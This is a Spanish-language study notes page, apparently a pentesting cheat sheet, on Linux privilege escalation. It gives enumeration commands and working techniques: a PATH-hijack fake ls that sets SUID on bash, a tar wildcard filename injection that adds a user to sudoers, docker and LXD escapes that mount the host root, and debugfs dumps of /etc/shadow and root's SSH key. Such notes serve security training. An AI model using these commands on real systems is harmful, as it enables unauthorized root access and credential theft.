↓ Ir al contenido
seraldinho.pages.dev
  1. Notas/
  2. Técnicas & Herramientas/

Escalada de Privilegios en Linux

8 mins
Tabla de contenido

Esta es una lista de varias cosas a comprobar que pueden servir para escalar privilegios en sistemas Linux.

Enumeración
#

Versión del SO
#

1
2

$ cat /etc/os-release   # Info de la distribución
$ uname -a              # Info de la versión del kernel y más

Info del usuario
#

1
2
3
4

$ whoami        # Qué usuario somos?
$ id            # A qué grupos pertenecemos?
$ sudo -l       # Qué podemos ejecutar como root?
$ env           # Variables de entorno

Usuarios del sistema
#

1
2

$ ls /home                                  # Muestra usuarios "normales" (no son cuentas de servicio)
$ grep -vE 'false|nologin' /etc/passwd      # Muestra cuentas con shell interactivo (u otras interesantes)

Las credenciales de usuarios con x en /etc/passwd están en /etc/shadow. Si conseguimos acceso a este último podemos usar unshadow /etc/passwd /etc/shadow > hashes.john para crackerlos con john.

1
2
3
4
5

# Ver usuarios conectados
$ w

# Ver info. de inicios de sesión
$ lastlog

Servicios en escucha
#

Aunque una vez tenemos acceso inicial al sistema los puertos internos (localhost) son relevantes, no hay que olvidar que los puertos anteriormente expuestos (en interfaces públicas) también pueden servir para escalar privilegios si hemos conseguido información nueva.

1
2
3

# Ver SOCKETS INET (TCP/UDP) abiertos
$ netstat -tunlp 
$ ss -tunlp
1
2

# Ver SOCKETS UNIX abiertos
$ ss -axp

Conviene comprobar /etc/hosts para ver si hay algún dominio/vhost que desconozcamos.

Procesos en ejecución
#

1
2

$ ps aux    # Mostrar procesos en ejecución e info adicional
$ pstree    # Puede servir para entender mejor las relaciones entre procesos

Tareas Programadas
#

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

# 1. CRONJOBS DEL SISTEMA (Globales)
cat /etc/crontab
ls -la /etc/cron.d/

# 2. SCRIPTS PERIÓDICOS (Scripts normales ejecutados por el sistema)
ls -la /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/

# 3. CRONJOBS DE USUARIO (Creados con 'crontab -e')
# IMPORTANTE!!!! Se suelen necesitar privilegios para listar crons de otros.
ls -la /var/spool/cron/           # RHEL / CentOS
ls -la /var/spool/cron/crontabs/  # Debian / Ubuntu
cat /var/spool/cron/crontabs/root # P.ej, para ver los de root

# 4. SYSTEMD TIMERS (Alternativa moderna a cron)
systemctl list-timers --all
ls -la /etc/systemd/system/*.timer

SUID/SGID Bit
#

1
2
3

# Para ver solo los que sean de root, añadir "-user root"
$ find / -perm -4000 2>/dev/null    # SUID
$ find / -perm -2000 2>/dev/null    # SGID

Podemos mirar los binarios interesantes que aparezcan en GTFOBins.

Capabilities
#

1
2
3

# Para listar las caps de cada archivo individual en los directorios 
# que aparecen en el comando (pueden añadirse más):
$ find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \;

Algunos relevantes:

  • cap_setuid: Permite a un proceso cambiar su ID de usuario para asumir los privilegios de cualquier otro usuario, incluido root.
  • cap_setgid: Permite a un proceso cambiar su ID de grupo para asumir los privilegios de cualquier otro grupo, incluido el grupo root.
  • cap_sys_admin: Otorga bastantes permisos de administración, como modificar parámetros del sistema o montar y desmontar sistemas de archivos.
  • cap_dac_override: Permite ignorar por completo las comprobaciones de permisos de lectura, escritura y ejecución en el sistema de archivos.

Hay binarios que normalmente tienen algunos caps pero no necesariamente son peligrosos, p.ej: ping tendrá cap_net_raw y wireshark tendrá cap_net_admin. Normalmente LinPEAS muestra snap-confine como vulnerable porque tiene muchas capabilities, pero suele ser un falso positivo en versiones actualizadas (también ha tenido vulnerabilidades históricamente, así que hay que mirarlo).

Archivos modificables
#

1

$ find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null

Credenciales de apps
#

Los CMS suelen guardar información de las páginas o de los usuarios en bases de datos. Las credenciales para dichas bases de datos suelen estar guardadas en archivos en los directorios raíz de la página. (P.ej, las credenciales de MySQL en Wordpress suelen estar en /var/www/html/wp-config.php)

Los archivos de las aplicaciones (y sus configuraciones) suelen guardarse en /var/www/... o en /opt.

Las contraseñas usadas en dichas configuraciones suelen reutilizarse para otros servicios.

Técnicas
#

PATH Abuse
#

Si tenemos acceso a un directorio en el PATH de un usuario privilegiado o bien podemos modificar el PATH de dicho usuario (algo raro), podríamos conseguir que ejecutase comandos arbitrarios sustituyendo binarios legítimos por otros nuestros.

P.ej, si el PATH de root es:

1

/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games

y tenemos acceso de escritura en /tmp, podríamos crear un archivo ls:

1
2

~:$ cd /tmp
/tmp:$ echo 'chmod +s /bin/bash && /bin/ls' > ls

Cuando root inicie sesión y ejecute ls, el primer ls que encontrará el shell será el de /tmp, que pondrá el Bit SUID a /bin/bash (y luego ejecutará el ls real, para que preferiblemente el administrador no se dé cuenta de todo esto).

Si podemos modificar el PATH de un usuario, podemos añadir al principio de este cualquier directorio al que tengamos acceso para poder hacer lo mismo.

Wildcard Abuse
#

Un wildcard sirve para representar uno o más posibles caracteres. P.ej, cat * intenta leer el contenido de todos los archivos (y directorios, aunque falle) del directorio actual.

Un ejemplo de vulnerabilidad es este cronjob:

1
2
3
4
5

mh dom mon dow command
*/01 * * * * cd /home/user && tar -zcf /home/user/backup.tar.gz *

# Va a /home/user y ejecutar tar -zcf con todo lo que haya
# Si un archivo tiene un nombre con apariencia de parámetro, se tomará como tal

tar tiene un parámetro --checkpoint-action que permite ejecutar algo cada vez que se llegue a un checkpoint (al comprimir/descomprimir). Si creamos un archivo así:

1
2
3
4
5
6

$ cat root.sh
echo "htb-student ALL=(root) NOPASSWD: ALL" >> /etc/sudoers

$ echo "" > "--checkpoint-action=exec=sh root.sh"
$ ls -al | grep checkpoint
-rw-rw-r--  1 user user 1 Aug 17 19:33 --checkpoint-action=exec=sh root.sh

Cuando la tarea se ejecute, se procesarán todos los archivos de /home/user, entre los que estará el creado antes, y se ejecutará:

1
2

tar -zcf /home/user/backup.tar.gz --checkpoint-action=exec=sh root.sh
# Se ejecuta "sh root.sh" -> Se añade nuestro user a /etc/sudoers

Grupos privilegiados
#

Tras haber comprobado los grupos a los que pertenecemos, podemos ver si estamos en alguno de estos:

DOCKER - ROOT DIRECTO
#

  • docker: Permite crear un container privilegiado y montar el fs del host. Si somos del grupo docker prácticamente tenemos root asegurado. Más info aquí.
1
2
3

# EXPLOTANDO GRUPO DOCKER
# Se descarga la imagen de Alpine desde los repos.
docker run -v /:/mnt/host -it alpine chroot /mnt/host

LXC/LXD - ROOT DIRECTO
#

  • lxd: Es el sistema de virtualización equivalente a Docker, de Ubuntu. Igual que con Docker ser de este grupo es root asegurado.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

# EXPLOTANDO GRUPO LXD - Imagen local
$ unzip alpine.zip

Archive:  alpine.zip
extracting: 64-bit Alpine/alpine.tar.gz  
inflating: 64-bit Alpine/alpine.tar.gz.root  
$ cd 64-bit\ Alpine/

$ lxd init
$ lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine
$ lxc init alpine exploit -c security.privileged=true
$ lxc config device add exploit mydev disk source=/ path=/mnt/root recursive=true
$ lxc start exploit
~ # whoami
root
1
2
3
4
5
6
7
8
9

# EXPLOTANDO GRUPO LXD - Imagen remota
$ lxc init ubuntu:22.04 exploit
$ lxc config set exploit security.privileged true
$ lxc config device add exploit host_root disk source=/ path=/mnt/root recursive=true
$ lxc start exploit
$ lxc exec exploit /bin/bash
~ # whoami
root
~ # cd /mnt/root <---- El filesystem del host está montado aquí

DISK - ROOT DIRECTO
#

  • disk: Tenemos acceso completo a todos los dispositivos en el directorio /dev. Esto significa que podemos usar debugfs para acceder a todo el filesystem con privilegios de root.

Los usuarios del grupo disk pueden leer y escribir en los dispositivos de /dev directamente en crudo. Como es bastante difícil modificar el disco en crudo, se usa debugfs, una herramienta diseñada para que los sysadmins puedan recuperar archivos borrados, reparar sistemas de archivos corruptos y hacer diagnósticos. Funciona leyendo el dispositivo en crudo y reconstruyendo la estructura de carpetas y archivos por su cuenta, sin consultar al SO.

Como debugfs funciona sobre el disco en crudo, ignora los permisos del SO sobre cada archivo. El ataque es así:

1
2
3
4
5
6
7

# Suponemos que /dev/sda1 es la partición principal
$ debugfs /dev/sda1
debugfs: dump /etc/shadow /tmp/shadow
debugfs: dump /root/.ssh/id_rsa /tmp/rootkey
# El owner de /tmp/shadow y /tmp/rootkey será el usuario atacante, su grupo
# será el grupo principal de dicho usuario. (El user y grupo con el que se
# inicia el proceso debugfs)

disk es exclusivamente para que ciertos servicios del sistema a muy bajo nivel puedan funcionar, en teoría ningún usuario humano debería pertenecer al grupo.

ADM - Posible info
#

  • adm: No nos da admin directo, pero podemos leer todos los registros de /var/log y potencialmente encontrar credenciales, cronjobs o acciones de usuarios.
1
2

# Busca registros que contengan "password".
grep -ir "password" /var/log*